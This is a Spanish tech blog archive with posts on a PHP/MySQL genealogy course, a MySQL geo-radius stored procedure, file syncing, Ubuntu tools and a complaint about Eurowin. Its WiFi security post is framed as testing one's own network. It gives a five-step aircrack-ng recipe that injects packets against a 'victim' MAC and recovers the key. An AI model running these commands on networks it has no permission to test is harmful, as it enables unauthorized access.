Archivo para la categoría Informática

Creación de la base de datos y tablas. Curso PHP y MySQL siguiendo una temática: árbol genealógico -Parte II-

En su momento se hizo una simple página que recogía los datos de autenticación para la base de datos y seguidamente la creación de la base de datos y sus correspondientes tablas. También se insertan datos con los nombres de las poblaciones de cada país.

Página para crear la base de datos y tablas a partir de parámetros de autenticación a la BD

Página para crear la base de datos y tablas a partir de parámetros de autenticación a la BD

Las tablas trabajarán bajo el motor InnoDB (incluído a partir de MySQL v5) recomendado si queremos tener una integridad referencial de nuestros registros, aunque no es imprescindible nos ahorrará la tarea de  tener que controlar  la relación de registros entre tablas con nuestro código. En nuestro caso ni tenemos tablas relacionadas ni es necesario una integridad referencial puesto son pocas tablas y es sencillo borrar los registros relacionados en tablas distintas.

Definición de las tablas

Nuestro sencillo árbol genealógico precisa de tan sólo tres tablas: personas, conyuges y ciudades

Tabla personas

Almacenará los datos personales de una  persona. Al fin y al cabo un árbol genealógico no es más que la relación entre todas y cada una de las personas. En esta tabla se distinguirá: el sexo, qué otra persona es su padre y su madre, datos personales, foto, fechas nacimiento y defunción, lugar nacimiento, y otros datos.

Leer el resto de la entrada »

, , ,

1 Comentario

Curso PHP y MySQL siguiendo una temática: árbol genealógico -Parte I-

El proyecto trata sobre la creación de una sencilla Web en la que se podrá crear un árbol genealógico que mediante la inserción de datos y su relación podremos ver  una estructura en forma de árbol con las personas y sus respectivos cónyuges, funcionará bajo el archiconocido lenguaje interpretado dinámico PHP5 embebido en HTML, y los datos serán gestionados por MySQL. También se hace uso en menor medida de Javascript.

A tener en cuenta

- Aunque la complejidad es baja hay que tener conocimientos de programación, la dificultad: 1  2  (3) 4  5

Esquema de la página

Diagrama del diseño de la página árbol genealógico. Curso PHP-mysql

Diagrama del diseño de la página

Organización del código

Los archivos se organizarán en carpetas, será algo así:

curso php-mysql básico. Organización del código fuente

curso php-mysql básico. Organización del código fuente

admin .- contiene los archivos que realizarán ejecuciones de: consultar, insertar, eliminar.

config.- tendremos los archivos de configuración para la instalación inicial.

css.- contiene las hojas de estilo de la página.

imagenesRetratos.- donde guardo las fotos de las personas.

images.- las imágenes que forman toda la página.

inc.- archivos que contienen funciones para facilitar el trabajo y configuración del entorno como la base de datos.

js.- archivos con las funciones en javascript

arbol.php .- genera la vista con la estructura del árbol genealógico.

index.php.- página principal con las opciones iniciales.

Leer el resto de la entrada »

, ,

2 Comentarios

MySQL Adaptación de procedimiento almacenado para obtener puntos por latitud/longitud geolocalizados en un mapa dentro de un radio

Situación:

Partimos que tenemos una tabla con datos cada uno de los registros contiene una localización latitud y longitud, y queremos ubicarlos en un mapa,  y que además estén todos ellos dentro de un área determinada a partir de un punto inicial (alrededor). Por ejemplo en Madrid tenemos los siguientes puntos:

Punto concéntrico y área con un radio que engloba una serie de puntos

Punto concéntrico y área con un radio que engloba una serie de puntos

Entonces sabiendo las coordenadas del punto que está en el centro del recuadro negro queremos obtener los pines que hay dentro de esa área, para ello hago una consulta a la tabla que contiene las coordenadas de los pines rojo.

Código:

– Fuente original: http://www.mysqlfulltextsearch.com/geo_search.pdf

DELIMITER $$
-- @param radio El radio va en kilómetros
DROP PROCEDURE IF EXISTS `nombre_nuestra_basedatos`.`geoPuntosRadio`$$
CREATE DEFINER=`nombre_nuestra_basedatos`@`%`
PROCEDURE `geoPuntosRadio`(IN latuser double, IN longuser double, IN radio int)
BEGIN
declare lon1 float; declare lon2 float;
declare lat1 float; declare lat2 float;


-- calcular latitud/longitud del rectángulo:
set lon1 = longuser-radio/abs(cos(radians(latuser))*69);
set lon2 = longuser+radio/abs(cos(radians(latuser))*69);
set lat1 = latuser-(radio/69);
set lat2 = latuser+(radio/69);


-- Consulta con el resultado y distancia en km:
SELECT *,
6378.137 * 2 * ASIN(SQRT( POWER(SIN((latuser - c.latitud)
* pi()/180 / 2), 2) +
COS(latuser * pi()/180) * COS(c.latitud * pi()/180) *
POWER(SIN((longuser - c.longitud) * pi()/180 / 2), 2) )) as distancia


FROM nuestra_tabla c

WHERE c.longitud between lon1 and lon2
and c.latitud between lat1 and lat2

having distancia < radio ORDER BY distancia limit 10;
END$$
DELIMITER ;

Para obtener los datos dado que es un procedimiento almacenado en la base de datos usamos la llamada al procedimiento. Le pasamos las coordenadas del centro latitud/longitud y el radio que se desea cubrir en kilómetros.

call geoPuntosRadio(37.8,-0.8, 100) //latitud, longitud, radio (km)

Reconocimientos:

Este post a sido una adaptación de la obra titulada Geo (proximity) Search with MySQL por  Alexander Rubin (consultor senior en MySQL), donde  hace una introducción al cálculo de distancias en la Tierra mediante coordenadas y lo extrapola a MySQL. La obra original obtiene las coordenadas de usuarios guardadas en tablas.

,

4 Comentarios

Sincronización fácil y rápida de correo, calendarios, tareas y archivos

Me encuentro en la siguiente situación trabajo desde varios equipos y quiero tenerlo todo: correos, eventos,  tareas y archivos (algunas imágenes, documentos, etc)  en cada uno de los equipos.

Para tenerlo todo sincronizado he utilizado las siguientes aplicaciones:

- Para correo electrónico y calendarios: Evolution (viene por defecto en la instalación de Ubuntu)

- Notas informativas: Tomboy (hay muchos programas de este tipo, éste viene por defecto en la instalación de Ubuntu)

- Aplicación intermediaria para la sincronización (un servidor): dropbox (de éstos hay la tira,  lo he probado y va bastante bien, son 2GB +  250MB por esta invitación, es gratis)

Los correos electrónicos:

Para el correo electrónico no tenemos que hacer mucho, está todo en el servidor de correo que utilicemos, pero sí es importante tener marcada la opción “Dejar mensajes en el servidor”. Vamos a Editar -> Preferencias -> Cuentas de correo:

Editando las cuentas de correo electrónico en Evolution

Editando las cuentas de correo electrónico en Evolution

El calendario de eventos:

Para el calendario de eventos he utilizado la cuenta de Google Calendar además te envía SMS al móvil para avisarte del evento, se encargará de sincronizar todos los eventos. Ahora desde la última versión de Evolution lo tenemos todo preparado para configurarlo con dos golpes de ratón, veamos cómo:

Creando un calendario sincronizado con Google Calendar

Creando un calendario sincronizado con Google Calendar

Las tareas y archivos:

Las tareas uso Tomboy viene instalado por defecto en Ubuntu. Es muy sencillo de utilizar.

Las tareas y archivos lo que he hecho es sincronizar a través de un servidor que nos ofrece 2GB de espacio gratis, se llama DropBox. Todo lo que pongamos en una carpeta concreta  publicada para dropbox será subido al servidor (encriptado). Se instala en cada equipo una pequeña aplicación que cargará un demonio con nuestra configuración de cuenta de usuario. También se pueden compartir carpetas entre usuarios.

Para las tareas entramos en Tomboy: Preferencias -> pestaña Sincronización e indicarle nuestra carpeta compartida en dropbox tal como se ve en la captura:

Configurando la carpeta de sincronización de tareas en tomboy

Configurando la carpeta de sincronización de tareas en Tomboy

Para todo este tipo de cosas existen muchas posibilidades en cuanto aplicaciones  y servidores de sincronización, ésta es una de tantas.

Nota: dropbox publica una carpeta y todo lo que se ponga dentro, si quisieramos publicar otras carpetas de nuestro disco podemos crear enlaces que apunten dentro de la carpeta publicada.

, , ,

1 Comentario

Un buen marketing vende hasta una boñiga como Eurowin

Cada vez estoy más convencido por muy malo que sea un programa de gestión si tiene una buena mercadotecnia junto a una publicidad con diseño atractivo y canales de distribución que lo apoyen, se obtienen unos ingresos de algo como por ejemplo una boñiga. Si a priori supiéramos los dolores de cabeza  que nos pude llegar a dar , ni  siquiera nos molestábamos en conocerlo Hablamos nuevamente de Eurowin.

Todo empieza con un precio asequible, atractivo para una empresa pequeña e incluso hasta  mediana. Cuando pasa cierto tiempo el programa empieza a fallar, nos damos cuenta que hemos gastado en llamadas a 807 y 902 lo que no está escrito.

A continuación voy a nombrar las formas que ha adoptado Eurowin para llenar la saca por todo la cara:

  • En versiones Eurowin Solution 6 e inferiores utilizaba gestor de base de datos FoxPro, en alguna época fue de lo  mejorcico (dicen), pero con el tiempo se demostró lo contrario, las tablas se bloquean y es necesario empaquetar y reindexar contenido cada dos por tres. A ésto se le ha sacado tajada, por muy raro que parezca, no era una, ni dos las veces, muy amenudo la de veces que se queda bloqueado sin poder crear  un simple albarán.
  • Con respecto a las modificaciones que sufrió al inicio de 2008 el Plan General Contable, para que hablar. Una vez pagada la adaptación si hubiera descuadres en los modelos de balances el simple hecho de llamar ya cobran (números 902 ú 807) pero como tenga por parte de Eurowin que conectarse  remotamente un técnico, clavan. Adelanto el diseño  interno que tienen los informes de balances es bastante complejo, y aseguro por experiencia propia que puede faltar cuentas en dicho informe y descuadre totalmente.
  • De repente un día sufrimos un apagón y tenemos el programa abierto, cuando volvemos a entrar vemos que no funciona bien y tenemos que reinstalarlo de nuevo. Bueno, lo primero que he de decir ¡suerte, y al toro!, desde aquí adelanto que primero hay que obtener una clave de desistalación, luego llamar  por teléfono (por supuesto 902 ú 807) para obtener código de activación, y con suerte, que todo vaya bien.

Captura para anulación de licencia de Eurowin

Captura para anulación de licencia de Eurowin

La captura muestra lo que hay que hacer para poder reinstalar el producto. Ésta versión es antigua, cuando  puse la dirección Web que aparece en negrita me anularon la licencia correctamente, hasta ahí bien, pero cuando  intenté activar de nuevo la licencia para instalar el producto la Web no tenía el formulario activo y ponía que tenía que llamar; de nuevo desembolso al 902 ú 807. Como se vé no me invento nada.

  • Si nos metemos en aspectos un poco más técnicos, las tablas que conforman la base de datos tienen los nombres de las columnas mitad en catalán y mitad castellano, en fin, de ahí podemos partir para hacernos una idea de la lógica que lleva Eurowin para hacer pasta. Veamos la captura como ponen “Any” cuando sería “Año“, es correcto para quitarte la eñe que no es caracter permitido, pero suena a catalán e induce a error en inglés, no hubiese sido más fácil poner “Anyo“, claro, el catalá es el catalán:
Nombre de las columnas en una tabla de la base datos de Eurowin 6.0 Solution

Nombre de las columnas en una tabla de la base datos de Eurowin 6.0 Solution

Seguiría hablando pero es que creo que bastante tiempo he malgastado en escribir dos post.

Artículo relacionado:

http://notasalgo.es/2009/02/programa-para-gestion-de-empresa-eurowin-ahora/

,

No hay Comentarios

Lanzamiento de Ubuntu 9.04 Jaunty Jacklope

Como ya nos tienen acostumbrados la comunidad Ubuntu acaba de lanzar su última versión Ubuntu 9.04 Jaunty Jacklope. Que tiemblen los señores de Windows porque ésto cada vez pinta mejor, si cabe. El entorno gráfico y la interacción multimedia no para de mejorar, es lo más destacado de ésta última versión y es que si se pretende captar al usuario final, lo está consiguiendo con creces, aseguro que de nuevo va a incrementar el número de usuarios, suma y sigue.

Enlaces:

· Características a rasgos generales (inglés)  [traducido]

· Descargas, tenemos varias versiones: Desktop, Netbook Remix y Server

No hay Comentarios

Actualizar aMule a v2.2.4 en Ubuntu

Desde la página oficial podemos obtener la última versión del archiconocido y actualmente perseguido (entre otros) aMule, eMule en Windows, ya  veremos a ver si se salva de la quema.

Otra opción sencilla y rápida para actualizar es agregar en la lista de repositorios la ruta correspondiente a la versión de Ubuntu:

- The Jaunty Jackalope:

deb http://ppa.launchpad.net/amule-releases/ppa/ubuntu jaunty main

- The Intrepid Ibex:

 deb http://ppa.launchpad.net/amule-releases/ppa/ubuntu intrepid main

- The Hardy Heron:

deb http://ppa.launchpad.net/amule-releases/ppa/ubuntu hardy main

En synaptic tras añadir el repositorio, actualizamos y si ya teníamos instalado el aMule nos aparecerá
la opción de “Marcar para actualizar”.

En el foro podemos encontrar más paquetes para otras distribuciones de Linux:
http://forum.amule.org/index.php?board=69.0

,

2 Comentarios

Seguridad Wifi. ¿Es segura nuestra red Wifi?

Información de la página en Firefox v3.x

Cuando decimos seguridad Wifi hablamos de la posible captación de datos por parte de terceros y posible uso de la red. Es conveniente que aparte de una buena configuración de la red se tenga en cuenta algunas precauciones a la hora de introducir datos de carácter privado a través de un formulario,  es conveniente que la página ofrezca un sistema de encriptación de datos o cifrado de datos. Hoy día bancos y cajas están dotados de dicha característica y podemos comprobarlo en Firefox v3.x como cambia de color la barra de dirección y nos muestra un candado en la parte inferior derecha, informa una verificación de certificado para el cifrado de datos circulantes entre nuestro navegador y el servidor. Es importante tener actualizado nuestro navegador Web favorito.

Por otro lado podemos comprobar la seguridad que tiene nuestra Wifi en cuanto a hackeo mediante este tutorial: http://wiki.dia-d.es/index.php/Hackeo_wifi

Resumiendo en cinco pasos:

1º.-  sudo airmon-ng stop wlan0 // wlan0 es el nombre de la tarjeta wifi
2º.- sudo airmon-ng start wlan0
3º.-  sudo airodump-ng -c 6 -w wifi -i wlan0 // elegir el canal, es importante para que aireplay funcione
4º.- sudo aireplay-ng -3 -b la_mac_victima wlan0 //Probar con ataques: -3, -4, -5
5º.-  sudo aircrack-ng *.ivs // los paquetes a obtener clave estarán en: /home/usuario

Si  se trabaja bajo Windows lo más recomendable es lanzar un LiveCD, una sugerencia podría ser: http://www.wifislax.com/, aquí  encontraremos vídeotutoriales de su manejo.

No hay Comentarios

Redimensionar imágenes en Ubuntu con Gnome

Redimensión de fotos desde nautilusEl otro día me hacía falta redimensionar fotos ya que la cámara de fotos de un amigo las había hecho a 7 Megapíxeles y con ese peso no me sirven nada más que para imprimir alguna. Buscando sobre Nautilus encontré algo que lo único que tenía que hacer era poner el nombre y ya está, se descarga solo y se instala solo, en tres pasos. Veamos cómo lo hice.

Teniendo en cuenta que estamos bajo Ubuntu 8.10 con  Gnome:

  1. Vamos a Sistema -> Administración -> Gestor de paquetes Synaptic. Ponemos la contraseña.
  2. Buscamos [Ctrl + F] lo siguiente: nautilus-image-converter. Lo marcamos para instalar y aplicamos.
  3. Como se integra es necesario reiniciar nautilus, lo haremos con el comando [Alt + F2]: killall nautilus

A partir de ahora iremos a golpes de ratón. Seleccionamos una o varias imágenes manteniendo pulsada la tecla control y le damos al botón secundario del ratón veremos las nuevas opciones en el menú emergente: “Redimensionar imágenes…” y “Rotar imágenes…”

ventana de redimensionado de imágenes

4 Comentarios

Retoque fotográfico masivo (batch) fácil desde Linux

Phatch todo en uno para retoque masivo de imágenes

Desde que estoy intentando ordenar un poco los álbumes de fotos para subirlos al blog busco programas para preparar las imágenes a gusto del consumidor. Ésta vez quiero añadir marca de agua como texto o icono, darle un fondo en relieve o sombra, dar un redondeo de la imagen y ya que estamos un escalado. Pues bien todo eso no podía hacerlo con el redimensionado integrado en Nautilus que hablé  aquí hace unos días, pero sí con este programa: Phatch.

Lo tenemos en los repositorios de Ubuntu: Sistema -> Administración -> Gestor de paquetes Synaptic -> Ctrl + F, buscamos: phatch

Otra opción podría ser creándonos un guión o script en Gimp mediante Script-Fu.

,

No hay Comentarios